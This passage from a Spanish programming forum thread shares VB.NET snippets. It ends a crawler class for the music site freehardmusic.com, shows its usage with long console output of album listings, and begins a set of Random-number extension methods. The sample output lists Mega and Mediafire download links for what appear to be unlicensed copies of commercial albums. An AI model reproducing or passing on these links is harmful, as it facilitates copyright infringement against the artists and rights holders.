  250.                    title = Encoding.UTF8.GetString(Encoding.Default.GetBytes(title))
  251.                    title = HttpUtility.HtmlDecode(title)
  252.                    title = New CultureInfo("en-US").TextInfo.ToTitleCase(title.Trim(" "c).ToLower())
  253.                Catch ex As Exception
  254.                    title = "unknown"
  255.                End Try
  256.  
  257.                Try
  258.                    country = node.SelectSingleNode(xPathCountry).GetAttributeValue("src", "unknown")
  259.                    country = Path.GetFileNameWithoutExtension(country)
  260.                    country = New CultureInfo("en-US").TextInfo.ToTitleCase(country.ToLower())
  261.                Catch ex As Exception
  262.                    country = "unknown"
  263.                End Try
  264.  
  265.                Try
  266.                    genre = node.SelectSingleNode(xPathGenre).InnerText
  267.                    genre = Regex.Replace(genre, "\n", "", RegexOptions.None)    ' Remove new lines.
  268.                    genre = Regex.Replace(genre, "\t", " "c, RegexOptions.None)  ' Replace tabs for white-spaces.
  269.                    genre = Regex.Replace(genre, "\s+", " "c, RegexOptions.None) ' Replace duplicated white-spaces.
  270.                    genre = New CultureInfo("en-US").TextInfo.ToTitleCase(genre.Trim(" "c).ToLower())
  271.                Catch ex As Exception
  272.                    genre = "unknown"
  273.                End Try
  274.  
  275.                Try
  276.                    year = node.SelectSingleNode(xPathYear).InnerText.Trim(" "c)
  277.                Catch ex As Exception
  278.                    year = "unknown"
  279.                End Try
  280.  
  281.                Try
  282.                    albumUrl = node.SelectSingleNode(xPathUrl).GetAttributeValue("href", "").Trim(" "c)
  283.                    albumUrl = HttpUtility.HtmlDecode(albumUrl)
  284.                Catch ex As Exception
  285.                    Continue For
  286.                End Try
  287.  
  288.                albumId = HttpUtility.ParseQueryString(New Uri(albumUrl).Query)("sobi2Id")
  289.  
  290.                Dim downloadUrlParams As New NameValueCollection From {
  291.                    {"sobiid", albumId},
  292.                    {"sobi2Task", "addSRev"},
  293.                    {"no_html", "1"},
  294.                    {"option", "com_sobi2"},
  295.                    {"rvote", "1"}
  296.                }
  297.  
  298.                Dim downloadLinks As List(Of String)
  299.                Try
  300.                    Using wc As New WebClient()
  301.                        htmlSourceCode = Await wc.DownloadStringTaskAsync(New Uri(downloadUrlParams.ToQueryString(Me.uriIndex)))
  302.                    End Using
  303.  
  304.                    Dim xDoc As XDocument = XDocument.Parse(htmlSourceCode)
  305.                    Dim elements As IEnumerable(Of XElement) = xDoc.<rev>
  306.                    downloadLinks = New List(Of String) From {
  307.                        elements.<msg>.Value,
  308.                        elements.<msg2>.Value,
  309.                        elements.<msg3>.Value,
  310.                        elements.<msg4>.Value,
  311.                        elements.<msg5>.Value,
  312.                        elements.<msg6>.Value,
  313.                        elements.<msg7>.Value,
  314.                        elements.<msg8>.Value,
  315.                        elements.<msg9>.Value,
  316.                        elements.<msg10>.Value,
  317.                        elements.<msg11>.Value,
  318.                        elements.<msg12>.Value,
  319.                        elements.<msg13>.Value
  320.                    }
  321.                Catch ex As Exception
  322.                    Continue For
  323.                End Try
  324.  
  325.                downloadLinks = (From item As String In downloadLinks
  326.                                 Where Not String.IsNullOrWhiteSpace(item)
  327.                                 Select item.TrimEnd(" "c)
  328.                                ).ToList()
  329.  
  330.                Dim albumInfo As New AlbumInfo(albumId, New Uri(albumUrl, UriKind.Absolute),
  331.                                               artist, title, country, genre, year,
  332.                                               downloadLinks)
  333.  
  334.                albums.Add(albumInfo)
  335.            Next node
  336.  
  337.            Me.OnPageCrawlEnd(New PageCrawlEndEventArgs(Me.SearchQuery, searchPage, albums))
  338.            Return True
  339.        End Function
  340.  
  341. #End Region
  342.  
  343. #Region " IDisposable Implementation "
  344.  
  345.        ''' <summary>Flag to detect redundant calls when disposing.</summary>
  346.        Private isDisposed As Boolean = False
  347.  
  348.        ''' <summary>Releases all the resources used by this <see cref="Crawler"/>.</summary>
  349.        <DebuggerStepThrough>
  350.        Public Sub Dispose() Implements IDisposable.Dispose
  351.            Me.Dispose(isDisposing:=True)
  352.            GC.SuppressFinalize(obj:=Me)
  353.        End Sub
  354.  
  355.        ''' <summary>Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.</summary>
  356.        ''' <param name="isDisposing"><see langword="True"/> to release both managed and unmanaged resources;
  357.        ''' <see langword="False"/> to release only unmanaged resources.</param>
  358.        <DebuggerStepThrough>
  359.        Protected Overridable Sub Dispose(isDisposing As Boolean)
  360.            If (Not Me.isDisposed) AndAlso (isDisposing) Then
  361.                If (Me.cancelTokenSrc IsNot Nothing) Then
  362.                    Me.cancelTokenSrc.Dispose()
  363.                    Me.cancelTokenSrc = Nothing
  364.                End If
  365.                Me.cancelToken = Nothing
  366.                Me.isFetching = False
  367.                Me.ResetSearchQuery()
  368.            End If
  369.  
  370.            Me.isDisposed = True
  371.        End Sub
  372.  
  373. #End Region
  374.  
  375.    End Class
  376.  
  377. End Namespace

NameValueCollectionExtensions.vb
  • https://pastebin.com/kUWBFzgB


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 5 Abril 2018, 01:37 am
Ejemplo de uso del FHM Crawler que compartí en este otro post: https://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2158878#msg2158878

Código
  1. Imports FHM
  2.  
  3. Public Module Module1
  4.  
  5.    Private WithEvents FHMCrawler As New Crawler
  6.    Private mre As New ManualResetEvent(initialState:=False)
  7.  
  8.    Public Sub Main()
  9.        FHMCrawler.SearchQuery.Artist = "Paramore"
  10.  
  11.        Console.WriteLine("URL: {0}", FHMCrawler.SearchQuery.ToString())
  12.        Console.WriteLine()
  13.        Console.WriteLine("Retrieving Album count...")
  14.        Dim albumCount As Integer = FHMCrawler.GetAlbumCount()
  15.        Console.WriteLine("Album Count: {0}", albumCount)
  16.        Console.WriteLine()
  17.        Console.WriteLine("Begin crawling, please wait...")
  18.        Fetch()
  19.        mre.WaitOne()
  20.        Console.WriteLine("Done!. Press any key to exit...")
  21.        Console.ReadKey()
  22.    End Sub
  23.  
  24.    Public Async Sub Fetch()
  25.        Dim success As Boolean = Await FHMCrawler.FetchAlbumsAsync()
  26.        mre.Set()
  27.    End Sub
  28.  
  29.    <DebuggerStepperBoundary>
  30.    Private Sub FHMCrawler_BeginPageCrawl(ByVal sender As Object, e As PageCrawlBeginEventArgs) Handles FHMCrawler.PageCrawlBegin
  31.        Console.WriteLine("[+] Begin crawling page with index: {0}", e.SearchPage)
  32.        Console.WriteLine()
  33.    End Sub
  34.  
  35.    <DebuggerStepperBoundary>
  36.    Private Sub FHMCrawler_EndPageCrawl(ByVal sender As Object, e As PageCrawlEndEventArgs) Handles FHMCrawler.PageCrawlEnd
  37.        For Each albumInfo As AlbumInfo In e.Albums
  38.            Dim sb As New StringBuilder()
  39.            sb.AppendLine(String.Format("Artist Name.....: {0}", albumInfo.Artist))
  40.            sb.AppendLine(String.Format("Album Title.....: {0}", albumInfo.Title))
  41.            sb.AppendLine(String.Format("Album Year......: {0}", albumInfo.Year))
  42.            sb.AppendLine(String.Format("Album Country...: {0}", albumInfo.Country))
  43.            sb.AppendLine(String.Format("Album Genre.....: {0}", albumInfo.Genre))
  44.            sb.AppendLine(String.Format("Album Id........: {0}", albumInfo.Id))
  45.            sb.AppendLine(String.Format("Album Url.......: {0}", albumInfo.Uri.AbsoluteUri))
  46.            sb.AppendLine(String.Format("Download Link(s): {0}", String.Format("{{ {0} }}", String.Join(", ", albumInfo.DownloadLinks))))
  47.            Console.WriteLine(sb.ToString())
  48.        Next albumInfo
  49.        Console.WriteLine("[+] End crawling page with index: {0}", e.SearchPage)
  50.        Console.WriteLine()
  51.    End Sub
  52.  
  53. End Module

Output:
Citar

URL: http://freehardmusic.com/index.php?field_band=Paramore&field_country=all&field_genre=all&field_year=all&option=com_sobi2&search=Search&searchphrase=exact&sobi2Search=&sobi2Task=axSearch&SobiCatSelected_0=0&sobiCid=0&SobiSearchPage=0

Retrieving Album count...
Album Count: 13

Begin crawling, please wait...
  • Begin crawling page with index: 0

Artist Name.....: Paramore
Album Title.....: After Laughter
Album Year......: 2017
Album Country...: Unitedstates
Album Genre.....: Pop Rock
Album Id........: 750762
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=750762
Download Link(s): { https://mega.nz/#!cL5DjAyT!yUxVz9-L_E5qLgsUnlrQyu2TTkBjHFy3Qo4rthK6wso }

Artist Name.....: Paramore
Album Title.....: Ignorance (Single)
Album Year......: 2009
Album Country...: Unitedstates
Album Genre.....: Female Vocal, Punk-Rock
Album Id........: 706939
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706939
Download Link(s): { http://www.mediafire.com/file/z4blihr29e08o9v/P_I-Single+14-12-16.rar }

Artist Name.....: Paramore
Album Title.....: Decode (Single)
Album Year......: 2008
Album Country...: Unitedstates
Album Genre.....: Emo, Punk-Rock
Album Id........: 706938
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706938
Download Link(s): { http://www.mediafire.com/file/flmfffs94s6coc7/P_D-Single+14-12-16.rar }

Artist Name.....: Paramore
Album Title.....: Misery Business Ep
Album Year......: 2007
Album Country...: Unitedstates
Album Genre.....: Emo, Female Vocal, Punk-Rock
Album Id........: 706937
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706937
Download Link(s): { http://www.mediafire.com/file/rbn99qf5vcypzmb/P_MB-EP+14-12-16.rar }

Artist Name.....: Paramore
Album Title.....: Hallelujah Ep
Album Year......: 2007
Album Country...: Unitedstates
Album Genre.....: Emo, Female Vocal, Punk-Rock
Album Id........: 706936
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706936
Download Link(s): { http://www.mediafire.com/file/vzmjxy7dzbvz0wu/P_H-EP+14-12-16.rar }

Artist Name.....: Paramore
Album Title.....: Acoustic Ep [Unnoficial]
Album Year......: 2008
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 679494
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=679494
Download Link(s): { https://yadi.sk/d/t3uohja1iGahE }

Artist Name.....: Paramore
Album Title.....: The Summer Tic [Ep]
Album Year......: 2006
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 679493
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=679493
Download Link(s): { https://yadi.sk/d/hfBw4_6SiGZpz }

Artist Name.....: Paramore
Album Title.....: The Final Riot!
Album Year......: 2008
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669959
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669959
Download Link(s): { http://www.mediafire.com/download/9agyx5hwzha6qsi/PTFR.rar }

Artist Name.....: Paramore
Album Title.....: Brand New Eyes
Album Year......: 2009
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669957
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669957
Download Link(s): { http://www.mediafire.com/download/2151e2bj7qtjaki/PBNE.rar }

Artist Name.....: Paramore
Album Title.....: The Singles Club Ep
Album Year......: 2011
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669955
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669955
Download Link(s): { http://www.mediafire.com/download/b6q2c7nyxdca00n/PSC.rar }

  • End crawling page with index: 0
  • Begin crawling page with index: 1

Artist Name.....: Paramore
Album Title.....: Pararmore
Album Year......: 2013
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669953
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669953
Download Link(s): { http://www.mediafire.com/download/y11109qmik6icj4/PP.rar }

Artist Name.....: Paramore
Album Title.....: Riot!
Album Year......: 2007
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669949
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669949
Download Link(s): { http://www.mediafire.com/download/dyc03s9vokkogv7/PR.rar }

Artist Name.....: Paramore
Album Title.....: All We Know Is Falling
Album Year......: 2005
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669948
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669948
Download Link(s): { http://www.mediafire.com/download/nsbiuigwij7y5tf/PAWKIF.rar }

  • End crawling page with index: 1

Done!. Press any key to exit...


Otro output addicional:
Código:
Search Params: field_band=h%c3%a9roes+del+silencio&field_country=all&field_genre=all&field_year=all

Uri: http://freehardmusic.com/index.php?field_band=h%C3%A9roes+del+silencio&field_country=all&field_genre=all&field_year=all&option=com_sobi2&search=Search&searchphrase=exact&sobi2Search=&sobi2Task=axSearch&SobiCatSelected_0=0&sobiCid=0&SobiSearchPage=0

Retrieving Album count...
Album Count: 21

Begin crawling, please wait...
[+] Begin crawling page with index: 0

Artist Name.....: Héroes Del Silencio
Album Title.....: The Platinum Collection (Compilation)
Album Year......: 2006
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770138
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770138
Download Link(s): { https://mega.nz/#!5yAE0ZpA!IFhADBkkKHgEN4Gghum-h9iKbQlH6N3owXymDokmF4Q }

Artist Name.....: Héroes Del Silencio
Album Title.....: Tesoro - Concert In Valencia 27Th October 2007 (Video)
Album Year......: 2008
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770135
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770135
Download Link(s): { https://mega.nz/#!834HAAiY!S7NDexqPxuPU6nEVv9PriekUi3MN3O2oBCtrTd2Nx8Y }

Artist Name.....: Héroes Del Silencio
Album Title.....: Senda '91 (Live)
Album Year......: 1991
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770129
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770129
Download Link(s): { https://mega.nz/#!8uAC1DIS!tctPPSySY6I2v7kteAahx6iKlDVs8R5WnrWvXUBtqaM }

Artist Name.....: Héroes Del Silencio
Album Title.....: En Directo
Album Year......: 1989
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770127
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770127
Download Link(s): { https://mega.nz/#!wnJwmYpD!XIFosoFfCar5UTAAjgORH0QHW8jm5ELRqZGK4UTNMfU }

Artist Name.....: Héroes Del Silencio
Album Title.....: Héroes Del Silencio (Compilation)
Album Year......: 1999
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770126
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770126
Download Link(s): { https://mega.nz/#!47R2jKqD!WmwbU3DvhVoBcZvf2IMPMATpAC_woGtKiBo_YzTp3eo }

Artist Name.....: Héroes Del Silencio
Album Title.....: Senderos De Traición (25Th Anniversary Edition)
Album Year......: 2015
Album Country...: Spain
Album Genre.....: Rock And Roll
Album Id........: 703496
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=703496
Download Link(s): { https://www.mediafire.com/?gwyzc4pvvhjdiax }

Artist Name.....: Héroes Del Silencio
Album Title.....: Volveremos (Compilation)
Album Year......: 2016
Album Country...: Spain
Album Genre.....: Rock And Roll
Album Id........: 703259
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=703259
Download Link(s): { http://www.mediafire.com/file/sh9pr3uvb86my6b/703259.rar }

Artist Name.....: Héroes Del Silencio
Album Title.....: El Espíritu Del Vino (20Th Anniversary Edition)
Album Year......: 2012
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700503
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700503
Download Link(s): { https://mega.nz/#!lgESxaJb!5K3YpWZ1Znq5EhZij9ltPd1GLaTaH_dSePXm5pCN6dg }

Artist Name.....: Héroes Del Silencio
Album Title.....: Antología Audiovisual (Compilation)
Album Year......: 2004
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700490
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700490
Download Link(s): { https://mega.nz/#!w8FUDQhb!COgXmh-uPayeSk5k1mpHrdIy5VziIIvTO7iaW0MfmTM }

Artist Name.....: Héroes Del Silencio
Album Title.....: Entre Dos Tierras (Ep)
Album Year......: 1992
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700488
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700488
Download Link(s): { https://mega.nz/#!7V1H3T4L!1q_o2lLp-b6Ky2p7P_minriRplYwUc8WRdSi7K24aes }

[+] End crawling page with index: 0

[+] Begin crawling page with index: 1

Artist Name.....: Héroes Del Silencio
Album Title.....: Héroes Del Silencio (Ep)
Album Year......: 1986
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700487
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700487
Download Link(s): { https://mega.nz/#!GNkTyZwA!0EXRDQwIpyG5BoVoY5zCnkonnAe3ZzFJmD4hwfmi-og, https://mega.nz/#!ljZ13RRK!u36qptAkX9XJN2LNKKZYTk25o-6kC4vgp1TXZ5wDRyo }

Artist Name.....: Heroés Del Silencio
Album Title.....: Live In Germany (Live)
Album Year......: 2011
Album Country...: Spain
Album Genre.....: Pop Rock, Alternative Rock
Album Id........: 691258
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=691258
Download Link(s): { https://mega.nz/#!84oxmBgB!q1x4NuAd79OUAyp4X7O5Da0b0KFwWwOoFNKqGGFQHW8 }

Artist Name.....: Héroes Del Silencio
Album Title.....: Canciones '84 - '96 (Compilation)
Album Year......: 2000
Album Country...: Spain
Album Genre.....: Classic Rock
Album Id........: 675749
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=675749
Download Link(s): { https://mega.nz/#!8uI0iBBD!3SFYXCJRse5ijwmC9TLgTtfhL8Jr__t3-qSI7IPurSI }

Artist Name.....: Héroes Del Silencio
Album Title.....: Tour 2007 (Live)
Album Year......: 2007
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 639726
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=639726
Download Link(s): { https://mega.co.nz/#!t81VUIxT!Y5qEQUR5C8wIA69pH4w90DWRCxN8dcKsCVSFmCT46P8 }

Artist Name.....: Héroes Del Silencio
Album Title.....: Rarezas (Compilation)
Album Year......: 1998
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 639724
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=639724
Download Link(s): { http://www.mediafire.com/download/v6oyrrh7un9o8t0/HDS98-R.gif, https://mega.co.nz/#!pgUlFC5Y!M3KOBFXZb5ZoN1TD-KRHOhl1mzIwm5WoQjqtsbncevk }

Artist Name.....: Héroes Del Silencio
Album Title.....: El Ruido Y La Furia (Live)
Album Year......: 2005
Album Country...: Spain
Album Genre.....: Rock And Roll, Hard Rock
Album Id........: 639723
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=639723
Download Link(s): { https://mega.co.nz/#!N1tgEIhA!FhSGL1xaktCN1HphZuOJFn5EmRhetkfS8bUpAB47KCY }

Artist Name.....: Héroes Del Silencio
Album Title.....: El Mar No Cesa
Album Year......: 1988
Album Country...: Spain
Album Genre.....: Pop Rock
Album Id........: 46543
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=46543
Download Link(s): { http://www.mediafire.com/?no7d4y5vp2btna6 }

Artist Name.....: Héroes Del Silencio
Album Title.....: Para Siempre (Live)
Album Year......: 1996
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 43036
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=43036
Download Link(s): { http://www.mediafire.com/?q73ip21df7qb19d }

Artist Name.....: Héroes Del Silencio
Album Title.....: Senderos De Traición
Album Year......: 1990
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 37296
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=37296
Download Link(s): { https://mega.co.nz/#!ok0UQIrB!bfQdCTtlLd4Rh7MIptTvfnPFDI9oBEd-ZvotzILoCFw }

Artist Name.....: Héroes Del Silencio
Album Title.....: Avalancha
Album Year......: 1995
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 37292
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=37292
Download Link(s): { https://mega.nz/#!Fc4zEaia!-5LYB3ueWHoZB890f34zsW_aTUTrsFQAwIvbpcZH4as }

[+] End crawling page with index: 1

[+] Begin crawling page with index: 2

Artist Name.....: Héroes Del Silencio
Album Title.....: El Espíritu Del Vino
Album Year......: 1993
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 37253
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=37253
Download Link(s): { https://mega.nz/#!0ZxC2LiJ!D1Rl95lm9sgz9RGxEPSmGSrW8ZvzVH5VckbDOJ81GnA }

[+] End crawling page with index: 2

Done!. Press any key to exit...


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 5 Abril 2018, 17:06 pm
Obtener un valor aleatorio de tipo Single (float en C#), Double o Decimal dentro de un rango mínimo y máximo específico.



He implementado esta solución mediante un módulo de extensiones de método para la clase System.Random

La lista de miembros disponibles son los siguientes:

  • Random.NextSingle() As Single
  • Random.NextSingle(Single) As Single
  • Random.NextSingle(Single, Single) As Single
  • Random.NextDouble(Double) As Double
  • Random.NextDouble(Double, Double) As Double
  • Random.NextDecimal() As Decimal
  • Random.NextDecimal(Decimal) As Decimal
  • Random.NextDecimal(Decimal, Decimal) As Decimal

El código fuente:
Código
  1. #Region " Option Statements "
  2.  
  3. Option Strict On
  4. Option Explicit On
  5. Option Infer Off
  6.  
  7. #End Region
  8.  
  9. #Region " Imports "
  10.  
  11. Imports System.ComponentModel
  12. Imports System.Runtime.CompilerServices
  13.  
  14. #End Region
  15.  
  16. #Region " Random Extensions "
  17.  
  18. Namespace Extensions
  19.  
  20.    ''' ----------------------------------------------------------------------------------------------------
  21.    ''' <summary>
  22.    ''' Contains custom extension methods to use with the <see cref="Random"/> type.
  23.    ''' </summary>
  24.    ''' ----------------------------------------------------------------------------------------------------
  25.    <ImmutableObject(True)>
  26.    <HideModuleName>
  27.    Public Module RandomExtensions
  28.  
  29. #Region " Public Extension Methods "
  30.  
  31.        ''' ----------------------------------------------------------------------------------------------------
  32.        ''' <summary>
  33.        ''' Returns a non-negative <see cref="Single"/> value.
  34.        ''' </summary>
  35.        ''' ----------------------------------------------------------------------------------------------------
  36.        ''' <param name="sender">
  37.        ''' The source <see cref="Random"/>.
  38.        ''' </param>
  39.        ''' ----------------------------------------------------------------------------------------------------
  40.        ''' <returns>
  41.        ''' The resulting <see cref="Single"/> value.
  42.        ''' </returns>
  43.        ''' ----------------------------------------------------------------------------------------------------
  44.        <DebuggerStepThrough>
  45.        <Extension>
  46.        <EditorBrowsable(EditorBrowsableState.Always)>
  47.        Public Function NextSingle(ByVal sender As Random) As Single
  48.            Return CSng(sender.NextDouble())
  49.        End Function
  50.  
  51.        ''' ----------------------------------------------------------------------------------------------------
  52.        ''' <summary>
  53.        ''' Returns a non-negative <see cref="Single"/> value between zero and the maximum specified.
  54.        ''' </summary>
  55.        ''' ----------------------------------------------------------------------------------------------------
  56.        ''' <param name="sender">
  57.        ''' The source <see cref="Random"/>.
  58.        ''' </param>
  59.        '''
  60.        ''' <param name="maxValue">
  61.        ''' The maximum value.
  62.        ''' </param>
  63.        ''' ----------------------------------------------------------------------------------------------------
  64.        ''' <returns>
  65.        ''' The resulting <see cref="Single"/> value.
  66.        ''' </returns>
  67.        ''' ----------------------------------------------------------------------------------------------------
  68.        <DebuggerStepThrough>
  69.        <Extension>
  70.        <EditorBrowsable(EditorBrowsableState.Always)>
  71.        Public Function NextSingle(ByVal sender As Random, ByVal maxValue As Single) As Single
  72.            Return NextSingle(sender, 0.0F, maxValue)
  73.        End Function
  74.  
  75.        ''' ----------------------------------------------------------------------------------------------------
  76.        ''' <summary>
  77.        ''' Returns a non-negative <see cref="Single"/> value between the minimum and maximum specified.
  78.        ''' </summary>
  79.        ''' ----------------------------------------------------------------------------------------------------
  80.        ''' <param name="sender">
  81.        ''' The source <see cref="Random"/>.
  82.        ''' </param>
  83.        '''
  84.        ''' <param name="minValue">
  85.        ''' The minimum value.
  86.        ''' </param>
  87.        '''
  88.        ''' <param name="maxValue">
  89.        ''' The maximum value.
  90.        ''' </param>
  91.        ''' ----------------------------------------------------------------------------------------------------
  92.        ''' <returns>
  93.        ''' The resulting <see cref="Single"/> value.
  94.        ''' </returns>
  95.        ''' ----------------------------------------------------------------------------------------------------
  96.        <DebuggerStepThrough>
  97.        <Extension>
  98.        <EditorBrowsable(EditorBrowsableState.Always)>
  99.        Public Function NextSingle(ByVal sender As Random, ByVal minValue As Single, ByVal maxValue As Single) As Single
  100.            Return NextSingle(sender) * (maxValue - minValue) + minValue
  101.        End Function
  102.  
  103.        ''' ----------------------------------------------------------------------------------------------------
  104.        ''' <summary>
  105.        ''' Returns a non-negative <see cref="Double"/> value between zero and the maximum specified.
  106.        ''' </summary>
  107.        ''' ----------------------------------------------------------------------------------------------------
  108.        ''' <param name="sender">
  109.        ''' The source <see cref="Random"/>.
  110.        ''' </param>
  111.        '''
  112.        ''' <param name="maxValue">
  113.        ''' The maximum value.
  114.        ''' </param>
  115.        ''' ----------------------------------------------------------------------------------------------------
  116.        ''' <returns>
  117.        ''' The resulting <see cref="Double"/> value.
  118.        ''' </returns>
  119.        ''' ----------------------------------------------------------------------------------------------------
  120.        <DebuggerStepThrough>
  121.        <Extension>
  122.        <EditorBrowsable(EditorBrowsableState.Always)>
  123.        Public Function NextDouble(ByVal sender As Random, ByVal maxValue As Double) As Double
  124.            Return NextDouble(sender, 0.0R, maxValue)
  125.        End Function
  126.  
  127.        ''' ----------------------------------------------------------------------------------------------------
  128.        ''' <summary>
  129.        ''' Returns a non-negative <see cref="Double"/> value between the minimum and maximum specified.
  130.        ''' </summary>
  131.        ''' ----------------------------------------------------------------------------------------------------
  132.        ''' <param name="sender">
  133.        ''' The source <see cref="Random"/>.
  134.        ''' </param>
  135.        '''
  136.        ''' <param name="minValue">
  137.        ''' The minimum value.
  138.        ''' </param>
  139.        '''
  140.        ''' <param name="maxValue">
  141.        ''' The maximum value.
  142.        ''' </param>
  143.        ''' ----------------------------------------------------------------------------------------------------
  144.        ''' <returns>
  145.        ''' The resulting <see cref="Double"/> value.
  146.        ''' </returns>
  147.        ''' ----------------------------------------------------------------------------------------------------
  148.        <DebuggerStepThrough>
  149.        <Extension>
  150.        <EditorBrowsable(EditorBrowsableState.Always)>
  151.        Public Function NextDouble(ByVal sender As Random, ByVal minValue As Double, ByVal maxValue As Double) As Double
  152.            Return sender.NextDouble() * (maxValue - minValue) + minValue
  153.        End Function
  154.  
  155.        ''' ----------------------------------------------------------------------------------------------------
  156.        ''' <summary>
  157.        ''' Returns a non-negative <see cref="Decimal"/> value.
  158.        ''' </summary>
  159.        ''' ----------------------------------------------------------------------------------------------------
  160.        ''' <param name="sender">
  161.        ''' The source <see cref="Random"/>.
  162.        ''' </param>
  163.        ''' ----------------------------------------------------------------------------------------------------
  164.        ''' <returns>
  165.        ''' The resulting <see cref="Decimal"/> value.
  166.        ''' </returns>
  167.        ''' ----------------------------------------------------------------------------------------------------
  168.        <DebuggerStepThrough>
  169.        <Extension>
  170.        <EditorBrowsable(EditorBrowsableState.Always)>
  171.        Public Function NextDecimal(ByVal sender As Random) As Decimal
  172.            Return NextDecimal(sender, Decimal.MaxValue)
  173.        End Function
  174.  
  175.        ''' ----------------------------------------------------------------------------------------------------
  176.        ''' <summary>
  177.        ''' Returns a non-negative <see cref="Decimal"/> value between zero and the maximum specified.
  178.        ''' </summary>
  179.        ''' ----------------------------------------------------------------------------------------------------
  180.        ''' <param name="sender">
  181.        ''' The source <see cref="Random"/>.
  182.        ''' </param>
  183.        '''
  184.        ''' <param name="maxValue">
  185.        ''' The maximum value.
  186.        ''' </param>
  187.        ''' ----------------------------------------------------------------------------------------------------
  188.        ''' <returns>
  189.        ''' The resulting <see cref="Decimal"/> value.
  190.        ''' </returns>
  191.        ''' ----------------------------------------------------------------------------------------------------
  192.        <DebuggerStepThrough>
  193.        <Extension>
  194.        <EditorBrowsable(EditorBrowsableState.Always)>
  195.        Public Function NextDecimal(ByVal sender As Random, ByVal maxValue As Decimal) As Decimal
  196.            Return NextDecimal(sender, Decimal.Zero, maxValue)
  197.        End Function
  198.  
  199.        ''' ----------------------------------------------------------------------------------------------------
